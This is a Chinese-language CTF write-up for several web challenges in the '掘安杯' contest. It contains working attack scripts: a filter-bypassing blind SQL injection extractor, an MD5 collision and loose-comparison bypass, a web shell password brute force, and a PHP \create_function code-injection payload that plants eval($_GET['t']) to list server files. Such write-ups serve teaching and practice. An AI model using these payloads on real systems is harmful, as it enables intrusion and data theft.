掘安杯wp

今天从早上起床一直到比赛结束一直在做题(起的比较晚)……比赛的时候还是手忙脚乱,电脑也真是不给力,全程在卡着…从这次比赛也看到了自己准备的不够充分,一些平时常见的比较简单的知识点之前没有在意,比赛又碰见相似的,还是要百度查一下,而且好久没做SQL注入的题目了,这次竟然一时没有想起来怎么做,到比赛结束才写出爆破密码的脚本。emmm难受,写一下一些做题时的思路

签到题

访问链接,发现从flag.php重定向到了404.php,检查-network,查看请求flag.php返回的头信息,得到经base64编码的flag,解码即可

下载下载

进到网站,有个链接http://120.79.1.69:8887/web2/?file=flag.txt,发现存在任意文件下载漏洞,然后下载flag.php;发现代码里面有两个写好的函数,一个经加密后的字符串,则直接调用解密函数,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}

function decrypt($data, $key) {
$char = '';
$str = '';
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
echo decrypt($flag, $key);
?>

猜密码

源码:

<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

在本地测试(将上面注释部分放到PHP文件,定义一个flag变量),写个简单的脚本:

1
2
3
4
5
6
7
import time
import requests
url = "http://127.0.0.1/index.php"
t = round(time.time())
form_data={'pwd': '{}'.format(t), 'password':'1'}
r = requests.post(url,data=form_data)
print(r.text)

但看大佬的文章,直接点击提交获得flag什么鬼…

该网站已被黑

扫后门爆破的,这页面跟去年暑假训练营做的那道题一样啊…

扫描目录,发现shell.php,进去后发现是个登录页面,爆破密码,用burpsuit自带的password字典,爆破得密码为hack

曲折的人生

本来挺简单的,但好久没做SQL题,愣是想了好久

提交后发现有报错回显

select id,username,password from `admin` where username='admin'<br/>用户名:admin不正确

进行or测试,发现有过滤,双写即可绕过,还发现过滤了空格,用括号或注释符即可绕过:

开始构造:

1'oorr(1=1)

显示出了正确的用户名(此时用这个用户名输入也是错的,因为过滤了or,而用户名中含有这个,因此用户名也需要双写or),但密码错误,则这两条语句是分开写的,不然注释符就能注释掉密码部分了

根据回显,知道了有password这个字段,则可以直接获取password;急着做就没有将脚本写完整,分开写的,password长度都没测…过滤了or,则password也需要双写or!:

1
2
3
4
5
6
7
8
9
10
11
url = 'http://120.79.1.69:8887/web5/?check'

for j in range(1,50):
for i in range(32,128):
data = {'username':"1'oorr(ascii(substr(passwoorrd,{0},1))={1})#".format(j,i), 'password':'1', 'code':'1'}
#print(data)
req = requests.post(url, data=data)
req.encoding = 'utf-8'
if "goodboy_g-60Hellowor" in req.text:
print(chr(i), end='')
break

爆出password,然后写出过验证码的脚本;比较坑的是得到的式子的括号是中文的,要替换成英文,还要将X替换为*,不然python的eval函数识别不出来,四舍五入就直接用round函数就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import re

s = requests.session()
url = 'http://120.79.1.69:8887/web5/?check'
req = s.get(url)
req.encoding = 'utf-8'
d = re.findall("<div class='rep'>(.*?)</div>", req.text)[0]
d = d.replace('(', '(')
d = d.replace(')',')')
d = d.replace('X','*')
num = round(eval(d))
data = {'username':"1'oorr(1=1)#", 'password':'ajahas&&*44askldajaj', 'code':'{}'.format(num)}
req1 = s.post(url, data)
req1.encoding = 'utf-8'
print(req1.text)

之后跑出的页面显示了一个链接,是让代码审计的,下载下来一个zip文件,根据网页上的密码解密后得到一个txt文件和一个zip加密文件,要根据txt文件的内容才能得到那个zip文件的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
Private Function getPassword(ByVal str As String) As String


Dim reString As String

Dim i As Integer
i = 1


While (i <= Len(str))

reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)


Wend


getPassword = reString

End Function



Private Sub Command1_Click()

Dim Dictionary As String

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

Dim password As String

password = getPassword(Dictionary)


Dim psw As String

psw = Text1.Text


If (psw = password) Then

MsgBox "The password is correct!", vbOKOnly, "密码正确"

Text1.Text = "Password for next pass : " & getPassword(password)

Else

MsgBox "PasswordFail!", vbOKOnly, "密码错误"


End If



End Sub

这些都是VB语言,我理解错了其中的一行代码然后写出了错误的脚本…

大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
def getPassword(string):
i = 1
reString = ''
while i <= len(string) :
reString = reString + string[i-1]
i = i + (i % 5)
return reString

Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password = getPassword(Dictionary)
password = getPassword(password)
print(password)

解出来图片用010editor打开就看到flag了

audit

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}

if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}



str1 OR Sstr2 no no no

前四个str用数组即可绕过,但5、6、7要进行碰撞,为了这个上网上找了各种方法,结果一堆生成两个md5值相同的文件之类的,全都是讲如何使两个文件或字符串相同,都没有多一点的吗!!!!!看过叶师傅的一篇文章,讲到过https://github.com/thereal1024/python-md5-collision这个工具,可以生成一堆值不同但md5相同的文件,但无奈的是虚拟机全都有毛病装不上……

头发不够用了,待更.


终于配置好了这个工具:https://www.cnblogs.com/Datapotumas/p/6475563.html

打开终端,输入

python3 gen_coll_test.py

之后即可看到生成了两百多个md5相同的不同文件,可以用md5sum查看它们的md5值

之后就可以写脚本用open().read()将文件内容post传过去绕过

后面代码中的一些函数:

1.ctype_upper:检查字符是不是都是大写字母

2.strtr:转换字符串中特定的字符
参数
string    必需。规定要转换的字符串。
from    必需(除非使用数组)。规定要改变的字符。
to        必需(除非使用数组)。规定要改变为的字符。
array    必需(除非使用 from 和 to)。数组,其中的键名是更改的原始字符,键值是更改的目标字符。

1)
echo strtr("Hilla Warld","ia","eo");
会输出"hello world"

2)
$arr = array("Hello" => "Hi", "world" => "earth");
echo strtr("Hello world",$arr);
会输出"Hi earth"


3.hash ($algo , $data, $raw_output = FALSE)
参数
algo  要使用的哈希算法,例如:"md5","sha256","haval160,4" 等。
data  要进行哈希运算的消息。
raw_output  设置为 TRUE 输出原始二进制数据,设置为 FALSE 输出字符串。

要传入四个参数:get传入$m和$n,post传入$a和$b;$a要为大写字母,$b要为数字且长度要等于6,$m和$n的长度都不能大于4,$str8等于$a的md5值,$str9等于$b的md5且将$m替换$n后的值

要满足str8弱等于str9,且$a与$b不相等才能得到flag

则用0e进行绕过,当$a为QNKCDZO时,$str8为0e开头的字符串;此时,需寻找哪些六位数数字的md5是以0e开头的,但要使$str9弱等于$str8,需要$str9以0e开头,且后面为纯数字,但六位数字的md5中都含有英文字母,因此用strtr函数替换即可

爆破数字脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

for i in range(100000, 999999):
li = [0] * 26
count = 0
strs = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if strs[:2] == '0e':
for j in strs[2:]:
if ord(j) >= 97:
li[ord(j)-97] += 1
for k in li:
if k!=0:
count += 1
if count < 4:
print('%d %d' % (i, count), strs)

得到了很多可以使用的数字,最后发包即可:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = 'http://120.79.1.69:10007?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=f&n=1'

file1 = open('out_test_000.txt', 'rb').read()
file2 = open('out_test_001.txt', 'rb').read()
file3 = open('out_test_002.txt', 'rb').read()

data = {'str5':file1, 'str6':file2, 'str7':file3, 'a':'QNKCDZO', 'b':965253}

s = requests.post(url, data)
print(s.text)

md5(965253)为0ef3ff89396f5550f1074985635155f4,因此此题加点难度,将m和n限制在一位也是可以的

not-easy

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}

if(isset($_GET['action'])){
$arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action('', $arg);
}

涉及到了preg_match,理一下里面的语法:

表达式的格式: "/表达式/[修正符]" 

$表示行结尾,^表示行开始

/i不区分大小写

/s匹配任何不可见字符

/D如果使用$限制结尾字符,则不允许结尾有换行

如果preg_match的表达式中同时含有^$,那么绕过其中一个限制即可绕过preg_match

那么$action开头或结尾中不允许有大小写英文字母、数字、下划线及任何不可见字符;且由else中表达式可知$action为一个函数

在做这个题之前,先从另一个题了解preg_match的特点:

在服务器端创建一个index.php文件和一个flag.txt文件,在flag.txt中写入一个flag,在index.php中写入:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
$action = $_GET['action'];
if(preg_match('/^(.*)flag(.*)$/', $action)){
echo 'be matched!';
} else {
$file = trim($action.'.txt');
echo file_get_contents($file);

highlight_file(__FILE__);
}

php的正则表达式中的.表示任意一个除换行符之外的字符

%0a为换行符的url编码, 则构造payload:

action=%0aflag

即可读取到flag.txt中的内容

再回到这个题,如何才能找到特殊字符避开preg_match呢?

可以用写脚本的方法,将ascii码尝试一遍,找到合适的,但写脚本的时候试了一下eval这个函数,发现没有测试成功,再仔细看下$action('','',$arg);,发现$action函数里面有两个参数,则尝试var_dump可以:

此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。 

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests


for i in range(128):
url = 'http://127.0.0.1:80'

i = str(hex(i))
if len(i) < 4:
i = '0x0' + i[-1]
i = i.replace('0x', '%')

payload = '?action=' + i + 'var_dump' + '&arg=sss;'

url = url + payload
s = requests.get(url)
if 'string' in s.text:
print(url)

得到url:

http://127.0.0.1:80?action=%5cvar_dump&arg=sss;

%5c即反斜杠的url编码,那么为什么函数前面加个反斜杠,但函数还能正常使用呢?在ph师傅的知识星球中找到了答案

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

现在可以绕过并执行命令了,但要如何找到flag在哪呢?也就是如何获取服务器端目录?

了解到以下函数的使用:

creat_function : 从参数创建一个匿名函数,并返回一个唯一的名称

如,创建一个运算对数的匿名函数:

1
2
3
4
5
6
<?php

$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

输出:

New anonymous function: lambda_1 ln(2) + ln(2.718281828459) = 1.6931471805599

函数原型为:

1
2
3
function test($a, $b){
return "ln($a) + ln($b) = " . log($a * $b);
}

此时构造:

?action=%5ccreate_function&arg=return 222}eval($_GET['t']);/*&t=var_dump(scandir('./'));

则传过去后函数原型为:

1
2
3
4
5
function test(){
return 222}
eval($_GET['t']);
/*
}

则将eval($_GET['t']);这句代码插入到了服务器端,再构造参数t,用scandir(‘./‘)获取当前目录下所有文件

如果这道题改一下,将$action('', $arg);里的参数交换位置,即$action($arg, ''),那么构造的语句就变成:

?action=%5ccreate_function&arg=){}eval($_GET['t']);/*t=var_dump(scandir('./'));

参数传递过去后函数原型为:

1
2
3
4
5
6

function test(){
}
eval($_GET['t']);

/*)